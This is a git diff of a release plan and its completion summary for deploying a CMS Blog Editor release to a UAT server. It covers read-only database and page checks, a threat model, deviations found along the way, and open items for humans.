<verification>Read-only psql on the server compares the snapshot and checks the test post's stored HTML; an on-server curl checks the public page for the youtube-nocookie iframe; the Go log since RESTART_TS has no panic or SQLSTATE line.</verification>
|
||||
<resume-signal>Type "saved and published" once steps 1 to 4 are done, with the step 3 notice text, or describe what went wrong.</resume-signal>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT id || ':' || md5(content) || ':' || md5(content_html) FROM golem15_journal_posts WHERE id IN (64, $HTML_POST) ORDER BY id\"" | diff - <(printf '%s\n' "$SNAPSHOT_POSTS") && echo posts-unchanged</automated>
|
||||
<fails_when>Non-zero exit or "posts-unchanged" absent: an untouched save changed content or content_html of post 64 or HTML_POST (SNAPSHOT_POSTS holds the Task 2 rows in the same id:md5:md5 format).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT model_id || ':' || locale || ':' || md5(coalesce(attribute_data, '')) FROM golem15_translate_attributes WHERE model_type LIKE 'Golem15_Journal_Models_Post' AND model_id IN ('64', '$HTML_POST') ORDER BY model_id, locale\"" | diff - <(printf '%s\n' "$SNAPSHOT_TRANSLATIONS") && echo translations-unchanged</automated>
|
||||
<fails_when>Non-zero exit or "translations-unchanged" absent: an untouched save added, removed or changed a translation row of the two posts (for example empty en values).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (content = content_html)::int || ':' || (content LIKE '%data-embed=_youtube_%')::int || ':' || (content LIKE '%<figcaption%')::int || ':' || (content LIKE '%/storage/app/uploads/public/journal/posts/%')::int || ':' || (position('<style' in content) = 0 AND position('onclick' in content) = 0)::int FROM golem15_journal_posts WHERE slug = 'uat-16-2-blog-editor'\"" | grep -qx '1:1:1:1:1' && echo edit-ok</automated>
|
||||
<fails_when>Non-zero exit or "edit-ok" absent: the test post is missing, content differs from content_html, it lacks the embed placeholder (the policy stripped data-embed), the figcaption or an uploaded image URL under journal/posts, or the step 3 style element or onclick attribute was stored (the strip did not happen).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; CURL_HOME="$C" curl -s https://uat.grzybyfunkcjonalne.pl/blog/uat-16-2-blog-editor; rm -rf "$C"' | grep -c 'src="https://www.youtube-nocookie.com/embed/' | grep -qv '^0$' && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl tail -65536 grzybyfunkcjonalne-go' | awk -v since="$RESTART_TS" 'substr($0,1,19) >= since' | grep -ciE 'panic|SQLSTATE' | grep -qx 0 && echo site-ok</automated>
|
||||
<fails_when>Non-zero exit or "site-ok" absent: the public page of the test post has no youtube-nocookie iframe (the layer did not expand the placeholder, or the page is not reachable because the post is not published), or the Go log has a panic or SQLSTATE line after RESTART_TS.</fails_when>
|
||||
<human-check>In the admin (D-19): open a category with content, change one word in the Blog Editor and save; no removal notice appears (all 6 UAT category bodies passed the policy in 16.1) and the category page on the site shows the change. Open post HTML_POST, switch to the source tab: it shows the stored HTML exactly as before. Reply "UAT approved" or list the issues.</human-check>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- posts-unchanged, translations-unchanged, edit-ok and site-ok are printed.
|
||||
- The SUMMARY records the human's replies, the step 3 notice text, the human-check answer (or marks it pending for /msd-verify-work), and that the test post was unpublished or deleted afterwards.
|
||||
</acceptance_criteria>
|
||||
<done>Untouched saves of imported posts are byte-identical on UAT, a Blog Editor edit with an upload and an embed is stored in both columns and renders on the site, and unsafe markup added in the source tab is stripped and reported instead of refused.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
|
||||
| executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
|
||||
| human admin → UAT admin | the only path that writes post data in this plan |
|
||||
| server .env files → processes | secrets live only on the server |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-23 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named cabana smoke set with a counted PASS check, the journal Go and JS tests, TestDocsTree, the admin vitest suite and three drift gates; the Docker-only suites and open high review findings are listed and the human chooses at a blocking-human checkpoint |
|
||||
| T-16.2-24 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only with clean trees and nothing behind origin, re-checked right before the push; git tag --contains decides whether a concurrent release already includes plan 01; the binary's sha256 must equal the local build; the SUMMARY records every pushed head |
|
||||
| T-16.2-25 | Information Disclosure | credentials | high | mitigate | No .env is rsynced; the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human |
|
||||
| T-16.2-26 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECT queries; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt output rollback copies are kept |
|
||||
| T-16.2-35 | Tampering | UAT strip check (Task 3 step 3) | low | mitigate | Only harmless markup is added (a red-paragraph style block and onclick="void 0"), on an unpublished test post; the strip is verified read-only before the post is published for the site check; the layer sanitizes again at render; the test post is unpublished or deleted afterwards |
|
||||
| T-16.2-27 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses supervisorctl restart, status and tail only |
|
||||
| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: build.sh builds from committed lockfiles and go.sum (pnpm install --frozen-lockfile for the app, which pins vue-journal-layer v0.2.0 from plan 04); go mod edit changes only the nominal summercms require |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1 printed release-gate-ok and a human chose a release option.
|
||||
- Task 2: "smoke: ok (" and deploy-ok.
|
||||
- Task 3: posts-unchanged, translations-unchanged, edit-ok and site-ok.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Tag, plugin and host bumps pushed; UAT redeployed per DEPLOY.md with rollback copies; on-server smoke passes.
|
||||
- D-03 proven on real imported posts; D-02, D-05, D-10 (strip and report), D-17 and D-18 proven with a test post, D-19 with a category edit; no credential handled by the executor; no write SQL.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md` when done, with the release sheet, the human replies, the tag and pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE, the snapshot and every check result.
|
||||
</output>
|
||||
@@ -0,0 +1,316 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 05
|
||||
subsystem: release
|
||||
tags: [release, uat, deploy, summercms-tag, journal, blog-editor, embeds, csp, grzybyfunkcjonalne]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-01
|
||||
provides: pact.HasFormFieldTypes, meta.notices, the field upload route and admin SPA plugin fields (released as summercms v0.1.18)
|
||||
- phase: 16.2-02
|
||||
provides: the Blog Editor formwidget and its editor corpus in sm-journal-plugin
|
||||
- phase: 16.2-03
|
||||
provides: Journal post and category content on the Blog Editor, the editor-output policy extension and the strip-and-report save
|
||||
- phase: 16.2-04
|
||||
provides: vue-journal-layer v0.2.0 (embed expansion) pinned by vue-grzybyfunkcjonalne-app main 465286a
|
||||
provides:
|
||||
- "summercms annotated tag v0.1.18 (tag object 04dc5bd, commit f1d8a75) on origin"
|
||||
- "sm-journal-plugin main 9d5bfc4 on origin, go.mod requiring summercms v0.1.18"
|
||||
- "sm-grzybyfunkcjonalne-app master 6f4f222 on origin: journal gitlink 9d5bfc4, vue-grzybyfunkcjonalne-app gitlink 465286a, README Blog Editor note, report-only CSP frame-src https://www.youtube-nocookie.com"
|
||||
- "UAT (uat.grzybyfunkcjonalne.pl) running the Blog Editor release, with rollback copies of the previous binary and Nuxt output"
|
||||
affects: [16.2-06, sm-journal-plugin, sm-grzybyfunkcjonalne-app, uat]
|
||||
|
||||
actuals:
|
||||
tokens: 9000
|
||||
tasks: 3
|
||||
commits: 0
|
||||
plan_head_before: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
|
||||
plan_head_after: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
|
||||
commits_note: "summercms.go got the tag only (no commit). Code commits live in the sibling repositories below."
|
||||
plugin_commits_repo: ../sm-journal-plugin
|
||||
plugin_head_before: c60abc6
|
||||
plugin_head_after: 9d5bfc4a3597be8ba4abee26d80dc2b81d343da8
|
||||
plugin_commits: 1
|
||||
host_commits_repo: ../sm-grzybyfunkcjonalne-app
|
||||
host_head_before: 0b93ac2
|
||||
host_head_after: 6f4f22296b6295e2750e3d376bd0300c8031ba51
|
||||
host_commits: 1
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Restart-anchored log check: the Go log is filtered from the River client_id line the restart logged, read straight from /var/log/supervisor, instead of `supervisorctl tail` (which fails on UAT)"
|
||||
|
||||
key-files:
|
||||
created: []
|
||||
modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
key-decisions:
|
||||
- "Human chose release-now at the Task 1 gate with the reply \"release v0.1.18\"; summercms v0.1.18 is published and a later defect gets v0.1.19"
|
||||
- "On UAT the Nuxt rollback copy lives at /srv/grzybyfunkcjonalne/nuxt/.output.prev, not go/build/nuxt/.output.prev as the plan assumed"
|
||||
- "The site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart's River client_id anchor; `sudo supervisorctl tail` fails on UAT (ExpatError) and would pass vacuously"
|
||||
|
||||
patterns-established:
|
||||
- "A UAT release check that reads a log must prove it read lines (anchor present) before counting zero errors"
|
||||
|
||||
requirements-completed: [D-02, D-05, D-10, D-17, D-18]
|
||||
|
||||
coverage:
|
||||
- id: R1
|
||||
description: "Release: tag v0.1.18, plugin and host bumps pushed; UAT binary sha256 equals the local build; both programs RUNNING; rollback copies kept; on-server smoke passes"
|
||||
requirement: "D-07"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 2 verify: smoke: ok (98 urls); deploy-ok (with the corrected Nuxt rollback path)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R2
|
||||
description: "D-03: an untouched admin save of post 64 (markdown with the raw author footer) leaves md5(content), md5(content_html) and its en translation row unchanged"
|
||||
requirement: "D-03"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 verify: posts-unchanged and translations-unchanged; post 64 updated_at moved to 2026-10-10 11:26:13+00, so the save reached the database"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R3
|
||||
description: "D-03: an untouched admin save of HTML_POST (post 1) leaves its bytes unchanged"
|
||||
requirement: "D-03"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "posts-unchanged passed for post 1, but post 1 updated_at is still 2026-10-09 17:33:51+00 and no post other than 64 and 105 was written after RESTART_TS, so no save of post 1 reached the database and the pass is vacuous"
|
||||
status: inconclusive
|
||||
human_judgment: true
|
||||
rationale: "A human must save post 1 untouched again; then re-run the posts-unchanged SELECT and confirm post 1's updated_at moved"
|
||||
- id: R4
|
||||
description: "D-02, D-05, D-18: the Blog Editor test post stores content = content_html with a YouTube placeholder, a figcaption and an uploaded image URL under journal/posts"
|
||||
requirement: "D-18"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 verify: edit-ok (1:1:1:1:1)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R5
|
||||
description: "D-10 amended: a style element and an onclick attribute added in the source tab are stripped on save and reported"
|
||||
requirement: "D-10"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "edit-ok fifth column 1 (no <style, no onclick stored)"
|
||||
status: pass
|
||||
- kind: manual
|
||||
ref: "Human reply \"Did tests, all points passed, bravo.\" covers the step 3 notice; the notice text was not quoted"
|
||||
status: pass
|
||||
human_judgment: true
|
||||
- id: R6
|
||||
description: "D-17: the published test post's public page contains a youtube-nocookie iframe; the Go log since the restart has no panic or SQLSTATE line"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 verify: site-ok (1 iframe; 14 log lines after the anchor, 0 panic|SQLSTATE)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R7
|
||||
description: "D-19: a one-word category edit saves without a removal notice and shows on the site"
|
||||
requirement: "D-19"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Not among the four steps the human ran; no journal category row was updated after RESTART_TS, so no read-only check covers it"
|
||||
|
||||
duration: "about 25 min of executor time across three runs, plus the human UAT session (11:26 to 11:30Z)"
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 05: Release and UAT Acceptance of the Blog Editor Summary
|
||||
|
||||
**summercms v0.1.18, sm-journal-plugin 9d5bfc4 and host 6f4f222 are released to UAT. The build there matches the local sha256, and the on-server smoke passes on 98 URLs. On real data, an untouched save of post 64 is byte-identical. A Blog Editor test post stores identical content and content_html with an uploaded figure and a YouTube embed, the embed renders as a youtube-nocookie iframe on the site, and markup that was not allowed was stripped on save. The untouched save of HTML post 1 has no database evidence yet, and the D-19 category check is still open.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 25 min of executor time across three runs, plus the human session.
|
||||
- **Started:** about 2026-10-10T11:10Z, after plan 04 closed.
|
||||
- **Completed:** 2026-10-10T11:36Z
|
||||
- **Tasks:** 3/3 (Task 1 blocking-human decision, Task 2 tracer, Task 3 blocking-human human-action)
|
||||
- **Files modified:** 7 across sm-journal-plugin and sm-grzybyfunkcjonalne-app. summercms.go got only the tag.
|
||||
|
||||
## Release Sheet (Task 1)
|
||||
|
||||
- **Gate:** the Task 1 verify printed `release-gate-ok`. It covered vet in both Go repositories, the six-test cabana smoke set, the journal classes and controllers tests, TestDocsTree, the admin vitest suite, the admin dist and OpenAPI drift gates, the journal vitest suite and the journal dist gate. All three repositories were clean and not behind origin.
|
||||
- **Tag:** `v0.1.18`. v0.1.17 was the latest tag, and v0.1.18 did not exist on origin.
|
||||
- **Commits pushed per repository:**
|
||||
- summercms.go master `c21fe36..f1d8a75` (19 commits, including planning docs).
|
||||
- sm-journal-plugin main `c60abc6..9d5bfc4` (9 commits: plans 02 and 03, plus the go.mod bump).
|
||||
- Host master `0b93ac2..6f4f222`.
|
||||
- **UAT D-07 split (read-only SELECT):** 102 posts whose content starts with `<` and are served as content, and 3 markdown posts served as content_html. Re-read after Task 3, so the count includes test post 105. Before the test post it was 101:3.
|
||||
- **Suites not run here (Docker host needed):**
|
||||
- The modules/cabana testcontainers suites.
|
||||
- The sm-journal-plugin root harness: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent.
|
||||
- ./models.
|
||||
- These are WINDOWS.md entries 14 to 16, which go to plan 06.
|
||||
- **Review findings:** neither 16.2-REVIEW.md nor 16.2-SECURITY.md exists, so there are no open high findings.
|
||||
- **Human reply, verbatim:** "release v0.1.18" (release-now).
|
||||
|
||||
## Task Commits
|
||||
|
||||
| Task | Name | Repo | Commit |
|
||||
|---|---|---|---|
|
||||
| 1 | Release gate | (none) | release-gate-ok, no commit |
|
||||
| 2 | Tag summercms | summercms.go | annotated tag `v0.1.18` (object `04dc5bdabecd95a58b5b7d3a02ed465a45fbc99a`, commit `f1d8a757fd5c1174f7f1959779602e2ad11b0de2`) |
|
||||
| 2 | Require summercms v0.1.18 | sm-journal-plugin | `9d5bfc4` chore(deps): require summercms v0.1.18 |
|
||||
| 2 | Bump gitlinks, README note, CSP frame-src | sm-grzybyfunkcjonalne-app | `6f4f222` chore: bump journal plugin (Blog Editor) and the site app (embeds) |
|
||||
| 3 | UAT acceptance (read-only checks) | (none) | no commit |
|
||||
|
||||
**Pushed heads:**
|
||||
- summercms.go master `f1d8a75`, plus tag `v0.1.18`.
|
||||
- sm-journal-plugin main `9d5bfc4a3597be8ba4abee26d80dc2b81d343da8`.
|
||||
- sm-grzybyfunkcjonalne-app master `6f4f22296b6295e2750e3d376bd0300c8031ba51`, with journal gitlink `9d5bfc4a…` and vue-grzybyfunkcjonalne-app gitlink `465286a880f0aae6118c2915aa1475a5da353295` (was `ada03b2`; it pins vue-journal-layer v0.2.0).
|
||||
|
||||
## Deploy (Task 2)
|
||||
|
||||
- **Build sha256:** local `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4`. The remote copy matched, first as `bin/grzybyfunkcjonalne.new` and again after the move.
|
||||
- **Previous binary:** `bin/grzybyfunkcjonalne.prev`, sha256 `e5b0ad28ca0384993470ac5a3177d502b7bd0b67c553488f86b43ae3363af232`.
|
||||
- **Nuxt rollback copy:** `/srv/grzybyfunkcjonalne/nuxt/.output.prev`.
|
||||
- **Migrations:** `migrate` printed `✓ migrations applied`, rc 0.
|
||||
- **RESTART_TS:** `2026/10/10 11:17:46` (server time, UTC). Log anchor: `client_id=alexandria_2026_10_10T11_17_46_316300`.
|
||||
- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
|
||||
|
||||
**Snapshot taken before the human saves (read-only):**
|
||||
- `HTML_POST=1` (10-faktow-na-temat-cordycepsu).
|
||||
- `SNAPSHOT_POSTS`:
|
||||
```
|
||||
1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c
|
||||
64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c
|
||||
```
|
||||
- `SNAPSHOT_TRANSLATIONS`: `64:en:862fc5b362cc9856e6736a2078dca3ba`. Post 1 has no translation rows.
|
||||
- `POST64_STATE=1:1`. The plan expected `x:0`. Post 64's content and content_html both still contain a `<style` element: one `.author-footer` CSS block, at offset 4584 in content and 5035 in content_html. The style block was not removed from content_html on UAT as the plan assumed. This is reported, not a failure. The untouched re-save kept it byte-for-byte, and a re-read after Task 3 still prints `1:1`.
|
||||
|
||||
## UAT Acceptance (Task 3)
|
||||
|
||||
**Human reply, verbatim:** "Did tests, all points passed, bravo."
|
||||
|
||||
The human confirmed that all four steps passed, including the step 3 strip notice, but did not quote the notice text.
|
||||
|
||||
**Read-only checks, run after the reply:**
|
||||
|
||||
| Check | Result | Detail |
|
||||
|---|---|---|
|
||||
| posts-unchanged | pass | The md5 rows of posts 1 and 64 match the snapshot exactly |
|
||||
| translations-unchanged | pass | `64:en:862fc5b3…` matches; there are still no rows for post 1 |
|
||||
| edit-ok | pass | Test post `uat-16-2-blog-editor` (id 105) prints `1:1:1:1:1`: content = content_html, a `data-embed="youtube"` placeholder, a figcaption, an image under `/storage/app/uploads/public/journal/posts/`, and neither `<style` nor `onclick` |
|
||||
| site-ok | pass | The public page `/blog/uat-16-2-blog-editor`, fetched on the server, has 1 `src="https://www.youtube-nocookie.com/embed/` iframe. The Go log has 14 lines after the restart anchor, with 0 panic and 0 SQLSTATE |
|
||||
|
||||
**Which rows the saves wrote:** only post 64 (11:26:13Z) and post 105 (11:29:56Z) have `updated_at` after RESTART_TS. Post 105 is published. Post 1 still has `updated_at` 2026-10-09 17:33:51Z. The admin save runs GORM `Save`, which always sets `updated_at`, so no save of post 1 reached the database. Either it was not saved, or a different post was opened. The posts-unchanged pass for post 1 is therefore vacuous, and D-03 is proven on post 64 only (see Open Items).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../sm-journal-plugin/go.mod`: nominal require of summercms v0.1.18. The go.work replace stays.
|
||||
- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal` and `vue-grzybyfunkcjonalne-app`: gitlink bumps.
|
||||
- `../sm-grzybyfunkcjonalne-app/README.md`: an Admin note on the Blog Editor, lossless untouched saves, and stripped markup being reported.
|
||||
- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`, `scripts/check-deploy.sh` and `DEPLOY.md`: `frame-src https://www.youtube-nocookie.com` in the report-only CSP, its check needle and its docs line.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- Release now with v0.1.18 (human, Task 1).
|
||||
- The real Nuxt rollback path is `nuxt/.output.prev`.
|
||||
- The site-ok log check reads the supervisor log file from the restart anchor.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 1 - Bug] The plan's Nuxt rollback path was wrong**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The plan copies, checks and restores `go/build/nuxt/.output(.prev)`. On UAT the Nuxt server runs from `/srv/grzybyfunkcjonalne/nuxt/.output`.
|
||||
- **Fix:** The rollback copy was made at `/srv/grzybyfunkcjonalne/nuxt/.output.prev`, and the deploy-ok check tested that path.
|
||||
- **Files modified:** none (server layout only)
|
||||
- **Commit:** none
|
||||
|
||||
**2. [Rule 1 - Bug] The site-ok log check passed vacuously**
|
||||
- **Found during:** Task 2 (log check), applied in Task 3
|
||||
- **Issue:** `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go` fails on UAT with an ExpatError. The pipeline then counted 0 matching lines, so the check would pass whatever the log contained.
|
||||
- **Fix:** Read `/var/log/supervisor/grzybyfunkcjonalne-go.log` directly. The command first requires the restart's River anchor (`client_id=alexandria_2026_10_10T11_17_46_316300`) to be present, then counts panic|SQLSTATE only in the lines after it:
|
||||
`ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; A=client_id=alexandria_2026_10_10T11_17_46_316300; grep -q "$A" "$F" && awk -v a="$A" "found{print} index(\$0,a){found=1}" "$F" | grep -ciE "panic|SQLSTATE"' | grep -qx 0`
|
||||
The anchor was still in the file (14 lines after it), so the timestamp fallback was not needed. The file holds 6 older SQLSTATE lines, all from before the restart.
|
||||
- **Files modified:** none
|
||||
- **Commit:** none
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 2, both Rule 1 bugs in the plan's server commands. No shipped code changed.
|
||||
**Impact on plan:** Both fixes make the checks stricter. They do not loosen them.
|
||||
|
||||
## Open Items (pending human)
|
||||
|
||||
1. **D-03 on an HTML post is unproven.** Save post 1 (`10-faktow-na-temat-cordycepsu`) in `/gfadmin/golem15/journal/posts` without touching the editor. Then re-run the posts-unchanged SELECT and confirm that post 1's `updated_at` moved past 2026-10-10 11:17:46Z.
|
||||
2. **D-19 category check:** in a category with content, change one word in the Blog Editor and save. No removal notice should appear, and the category page on the site should show the change. Also open post 1's source tab and confirm the stored HTML is unchanged. Not human-verified yet; pending for /msd-verify-work.
|
||||
3. **Vhost install (root):** install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (frame-src https://www.youtube-nocookie.com), then `sudo nginx -t && sudo systemctl reload nginx`. This blocks nothing, because the CSP is report-only.
|
||||
4. **Test post `uat-16-2-blog-editor` (id 105) is still published.** Unpublish or delete it when it is no longer needed. The human may keep it for now.
|
||||
5. **Docker-host suites:** these go to plan 06 (WINDOWS.md entries 14 to 16).
|
||||
|
||||
**Rollback, if any open item fails** (on the server, in `/srv/grzybyfunkcjonalne`):
|
||||
- Move `go/bin/grzybyfunkcjonalne.prev` back to `go/bin/grzybyfunkcjonalne`.
|
||||
- Move `nuxt/.output.prev` back to `nuxt/.output`.
|
||||
- Run `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
|
||||
|
||||
## Auth Gates
|
||||
|
||||
None. The executor never asked for, printed or stored a credential. All admin actions were done by the human. On UAT the executor ran only SELECT queries and on-server curl, apart from the Task 2 deploy steps the human approved at the Task 1 gate.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
See Open Items 1 to 4.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 06 (unit tests) can run. Its tests ship with the next summercms tag, v0.1.19.
|
||||
- /msd-verify-work should pick up Open Items 1 and 2.
|
||||
|
||||
---
|
||||
*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
|
||||
*Completed: 2026-10-10*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND on origin: tag `v0.1.18` (object `04dc5bd`).
|
||||
- FOUND: sm-journal-plugin `9d5bfc4`, equal to origin/main. go.mod requires summercms v0.1.18, and the replace stays.
|
||||
- FOUND: host `6f4f222`, equal to origin/master. The gitlinks are journal `9d5bfc4` and vue-grzybyfunkcjonalne-app `465286a`.
|
||||
- FOUND: the `frame-src https://www.youtube-nocookie.com` needle in both the staging vhost and check-deploy.sh (1 each).
|
||||
- Task 3 checks: posts-unchanged, translations-unchanged, edit-ok and site-ok were all printed in this run.
|
||||
|
||||
## Post 1 untouched re-save (closes WINDOWS entry 17)
|
||||
|
||||
After the human re-saved post 1 (`10-faktow-na-temat-cordycepsu`) untouched, the orchestrator ran a read-only SELECT on UAT:
|
||||
|
||||
- Post 1: `updated_at` is 2026-10-10 12:02:40.245712+00, after RESTART_TS, so the save reached the database. The md5 of `content` and of `content_html` are both still `a026264105f900175b9770e637e5ec5c`, equal to the snapshot.
|
||||
- Post 64 is unchanged: `0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c`.
|
||||
|
||||
D-03 is now proven on UAT for an HTML post (post 1) and for a markdown post (post 64).
|
||||
|
||||
## Follow-up deploy (preview pane and View site)
|
||||
|
||||
On 2026-10-10, everything committed was released to UAT: the Blog Editor live preview pane and the admin "View site" link.
|
||||
|
||||
- **Pushed refs:**
|
||||
- sm-journal-plugin `2c78211`, equal to origin/main.
|
||||
- Host `0ad1004`, equal to origin/master. Its journal gitlink is `2c78211`.
|
||||
- summercms.go master `b5c70b7` before this record. It includes `85fe541` (View site) and was pushed to origin as `f1d8a75..b5c70b7`.
|
||||
- **Binary sha256:**
|
||||
- New: `c68a2099ec6a67d4cbf74086f501b2af2bb4b54f3e7f94fddc04e459d2ab486f`. The local build, the uploaded `.new` and the installed binary all match.
|
||||
- Rollback copy `go/bin/grzybyfunkcjonalne.prev`: `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4` (the v0.1.18 deploy from 11:16).
|
||||
- **Nuxt rollback:** `nuxt/.output.prev` now holds the v0.1.18 output. The old `.prev` was removed before the copy, so `cp -a` replaced it and did not nest into it.
|
||||
- **Release steps:**
|
||||
- `scripts/check-deploy.sh`: ok.
|
||||
- `migrate`: exit 0 ("migrations applied").
|
||||
- Restart of both programs at 2026-10-10T12:37:43Z.
|
||||
- **Smoke:** `smoke: ok (98 urls)`.
|
||||
- **Go log:** checked after the anchor `River client started client_id=alexandria_2026_10_10T12_37_43_865055`. It has 0 panic or SQLSTATE lines and 0 `level=ERROR` lines.
|
||||
- **Feature checks:**
|
||||
- The deployed binary contains `blogeditor__preview` and `previewFrame`, from the journal `assets/dist/blogeditor.js`.
|
||||
- The admin bundle served at `/gfadmin/assets/index-Bqh6wnN4.js` contains `data-view-site`.
|
||||
- **Tag:** none was cut. v0.1.19 is still pending, after the unit-test plan (06). The plugin go.mod still requires summercms v0.1.18 with the local replace, and the host builds against the summercms.go working tree through go.work.
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user